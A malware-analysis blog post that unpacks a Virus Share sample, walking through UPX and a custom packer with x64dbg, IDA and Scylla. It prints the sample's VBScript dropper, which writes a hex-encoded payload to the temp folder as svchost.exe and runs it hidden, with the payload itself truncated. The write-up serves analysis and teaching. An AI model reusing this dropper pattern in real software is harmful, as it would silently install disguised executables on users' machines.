Virus Share: Random Sample #1 - Part One: Unpacking

Synopsis

First in a series where we take a pseudo random sample from Virus Share to analyze.

Sample SHA256: 0b74eb0e41ecf4cde71aea773746b3c57e42ffcec4eadc69c4c8038133bf43af
Please exercise caution as this is a live malware sample.

Analysis

Upon examining the html file from Virus Share, we find a vbscript dropper script at the bottom of the file. Upon first glance it appears to be commented out using <!-- and -->; however, comments in vbscript start with '. Interestingly enough, after running a test (first with the html comments in place and then without them), the html comments inside the script tags have to be removed in order for the script to run in IE 8. Not sure how the malware would be delivered when surrounded by html comment tags. But for now, with this preliminary analysis done, let's move onto writing the malware to disk for further analysis.

Dropper

The dropper vbscript script takes a string of text (hex values) containing 0-F (variable WriteData) and reconstructs the file and writes it to the temp folder (FSO.GetSpecialFolder(2)[1]) under the file name svchost.exe (DropFileName variable). Please note, the string of characters have been removed from the code snippet below. Once written to disk, it will execute the file with the window hidden.

<SCRIPT Language=VBScript><!--
  DropFileName = "svchost.exe"
  WriteData = "4D5A...."
  Set FSO = CreateObject("Scripting.FileSystemObject")
  DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
  If FSO.FileExists(DropPath)=False Then
    Set FileObj = FSO.CreateTextFile(DropPath, True)
    For i = 1 To Len(WriteData) Step 2
      FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
    Next
    FileObj.Close
  End If
  Set WSHshell = CreateObject("WScript.Shell")
  WSHshell.Run DropPath, 0
//--></SCRIPT>

Code Snippet 1 - Dropper script with the value of WriteData truncated.

The magic happens at lines 8 and 9. Here the dropper takes the hex string and converts it into a binary long (back to its binary representation). Mid[2] gets the string starting at position i and of length 2. The value returned is concatenated with &H to signify that it is a hexadecimal number which is then passed to the CLng[3] function whose result is passed to the Chr[4] function before getting appended to the file. The script iterates over the WriteData string, two characters at a time, and appends them to the file being created (svchost.exe).

Reconstructing the Executable

To reconstruct the suspected binary, we will use the dropper to do the work for us with a few modifications to keep it from executing the payload.

Create a text file but give it the extension vbs to associate it with wscript.exe (used to execute vbscripts). The script below is the same but for line 4 where the GetSpecialFolder function was called, we removed that. The file will be created in the same directory as this script. And lastly, the last two lines of the script that executed the file are also removed, leaving us with this.

DropFileName = "svchost.exe"
WriteData = "4D5A...."
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = DropFileName
If FSO.FileExists(DropPath)=False Then
  Set FileObj = FSO.CreateTextFile(DropPath, True)
  For i = 1 To Len(WriteData) Step 2
    FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
  Next
  FileObj.Close
End If

Code Snippet 2 - Modified dropper script to create the payload with the value of WriteData truncated. Notice the ASCII hex value for MZ (little endian).

Execute the script and poof! we have the payload and are now ready for further analysis.

Payload

Static PE Analysis

One of the first things we want to look at is the section headers as they provide additional clues to if the executable is packed or not. This one looks to be packed with UPX.

PE File UPX Section Headers
Screenshot 1 - UPX Section Headers

So using the upx -d option we get the unpacked executable.

upx -d
Screenshot 2 - Unpacking with UPX Utility

Now if we look at the PE sections we see:

PE File Section Headers
Screenshot 3 - Unpacked section headers

There also looks to be only three imported DLLs; however, these won't be the only three DLLs loaded. Remember that ntdll.dll (Windows NT family) is also loaded as part of the Window's executable loading process.

PE File Imports
Screenshot 4 - Unpacked Directory Entry Import

Finally, when loading a DLL, any dependent DLLs are also loaded. Here are the modules loaded at run time.

Run time modules
Screenshot 5 - Modules loaded at run time.

Where to From Here

Section Sizes

Recall from Screenshot 3 that there seems to be a significate difference between the raw size and the virtual size of .rsrc. This sample might still be packed.


API Calls

Taking a look at the imports, there are a number of potentially suspicious API calls. Let's take a look at ones likely to be used by packers.

  • LoadLibraryA
  • LoadLibraryW
  • VirtualAlloc

When looking through IDA, there are no apparent calls made to LoadLibraryA or LoadLibraryW.

There does appear to be a call to VirtualAlloc.

VirtualAlloc Call
Screenshot 6 - Call to VirtualAlloc

Lucky for us there is only one instance, so let's make the program do the work for us and see what gets written to the allocated memory. Firing up the debugger, we run the program until the instruction after the call, so break at 0x4088D4.

Virtual Alloc Empty
Screenshot 7 - Allocated Memory Snapshot before being written to

Upon checking the memory tab, we see that the memory segment also has execute permission. So either the programmer is lazy or execution might switch to what gets written here.

Memory Permissions
Screenshot 8 - Memory Tab Info

Set a On Execute memory break point at that address (F2). Now run the program (F9) and poof! bytes have been written into the allocated memory section and EIP is now pointing to the shell code.

VirtualAlloc Written To
Screenshot 9 - Allocated Memory Snapshot after being written to
Shell Code Entry Point
Screenshot 10 - Entry point into the shell code

If for some reason the memory break point causes an error during the process of writing to the allocated memory, set the break point at 0x40746D (a ret instruction) and then single step to go to the allocated code's location.

So what does this de-obfuscated code do?

Memory Segment Analysis

For being our first Virus Share random sample, this one is quickly providing some fun analysis challenges! Before we continue, let's get a copy of the memory segment into IDA for easier analysis. This can be done by debugging the executable using IDA Pro and taking a memory snapshot (Debugger -> Memory Snapshot -> All Segments) when the EIP is pointing to the shell code's entry point.


Screenshot 11 - All Segments

Remember to set the break point in IDA before running the sample as IDA does not break by default on the program's entry point.

Once that is done, stop the debugger and load the saved segment (Crtl+S). In our case it is at address 0x170000. Notice the execute, X, permission on that segment.


Screenshot 12 - Segment List

For the most part everything should be there; however, a few spots will need to be converted to code in IDA (shortcut key c at location to be corrected) before the graph functionality will work.

Corrections

Note: Offsets are in RVA as the screenshots won't match the physical address being inspected as shown in Screenshot 12. This is due to going back and taking screenshots after the fact.

  1. Offset RVA 0x018C
  • Identification - Screenshot 13
  • Prior to Correction - Screenshot 14
  • Corrected - Screenshot 15
  1. Offset RVA 0x0783
  • Identification - Screenshot 16
  • Prior to Correction - Screenshot 17
  • Corrected - Screenshot 18
  1. Offset RVA 0x2E13
  • Identification - Screenshot 19
  • Prior to Correction - Screenshot 20
  • Corrected - Screenshot 21

Next, starting from the entry point (RVA 0x2CA9), follow the first jmp and switch to graph view and the overview should look something like this.


Screenshot 22 - Graph Overview

Going with the thought that this might be a packer, the ret at the bottom might be the return / tail jump to the unpacked code. Scrolling up a bit from there, we notice some PE related file constants[5].


Screenshot 23 - PE File Constants

  • 0x3C : Pointer to PE Header
  • 0xF8 : The length of NT Header, thus by-passing the PE Signature, FileHeader, and OptionalHeader and landing at the start of the first section


Screenshot 24 - More PE File Constants

  • 0x28 : Section Table Length

Upon doing more analysis, we determine that this is unpacking the next stage.

Exercises for the Reader:

  • What do these do?
    1. func @ RVA 0x0783
    2. func @ RVA 0x018C

Unpacking Take 2

Steps:

  1. Load the UPX unpacked exe into x64dbg and set a break point at 0x40746D.
  2. Execute until that break point and single step into the allocated code region.
  3. Once there, hit the g key to graph it in the debugger. Scroll to the bottom of the longest section (should be around RVA 0x1795) and right click and select follow in disassembler.
    • Screenshot 25 - Tail jump in x64Dbg graph
  4. Select the ret and hit F4 (run to selected location)
    • Screenshot 26 - Tail jump in x64Dbg disassembler
  5. Single step, F7, to follow the return
  6. Now we are in assembly code for ntdll.NtFreeVirtualMemory, so Atl+F9 to execute until user code
  7. And we end up here:
    • Screenshot 27 - Snippet after unpacking the 2nd packer
    • Looking through the assembly code, this looks off:
      • First off, the first instruction is a pushal which seems strange, but okay we'll let that slide for now.
      • Second, the calls shown are using offsets versus the function's name.
      • Upon inspecting the PE file headers, we notice one of the headers is call UPX1. Is this sample packed yet again?!
        • Screenshot 28 - PE Header
  8. Armed with this knowledge, proceed with manually unpacking further like if it is packed with UPX.
  • Scroll down until there are no more actual instructions and select the last instruction, a jmp
    • Screenshot 29 - UPX tail jump
  • Hit F4 to execute to that point and then hit F7 to go to hopefully the actual OEP (Original Entry Point)
    • Screenshot 30 - OEP
    • After checking the IAT, we see a fair number of imports. This looks better. Going to go out on a limb and say it's finally unpacked!!
      • Screenshot 31 - Import Address Table Snippet

Dumping the Unpacked EXE

Before wrapping up this article, let's finish by dumping the executable. Starting where we left off unpacking, open Scylla and after making sure the OEP matches the EIP, click Dump. Once dumped, rebuild the IAT. The IAT Autosearch button should work in this case or manually find the IAT and enter the values in Scylla will work as well. After clicking Get Imports the imports are listed. If no errors, hit Fix Dump and then select the file that was just dumped and we are all done but for the verification.


Screenshot 32 - Scylla

So now let's make sure it works. Open the fixed file in x64dbg to see if it loads with the same OEP. Also check the section sizes (significant size difference between the RawSize and its corresponding VirtualSize) to see if there are any obvious clues to if the sample is still packed.


Screenshot 33 - Dumped file Section Headers

Nothing sticks out, so declaring this unpacked (for now).

Update: The above dumped file appears to load correctly into IDA; however, to get the dumped file to run correctly, it will need to be re-dumped at step 7 above. If not, it will throw an error during execution.

Conclusion

During the course of unpacking this sample we saw how to:

  • Extract the sample from the html page using its own VBScript against itself
  • Unpack it using the upx command line tool
  • Unpack a second packer of unknown origin using the debugger
  • Unpack what we are assuming to be UPX again, but this time using the debugger

We end this article with reasonable confidence that we have the actual piece of malware fully unpacked and dumped to disk. Hopefully the thought process and methodology presented here makes sense. Please leave any feed back in the comments. This article will link to part two (analysis of the dumped file) once that analysis is complete. Thanks for reading!

Random Sample #1 - Part Two: API Hook Analysis


  1. GetSpecialFolder ↩︎

  2. Mid ↩︎

  3. CLng ↩︎

  4. Chr ↩︎

  5. PE Offsets ↩︎

comments powered by Disqus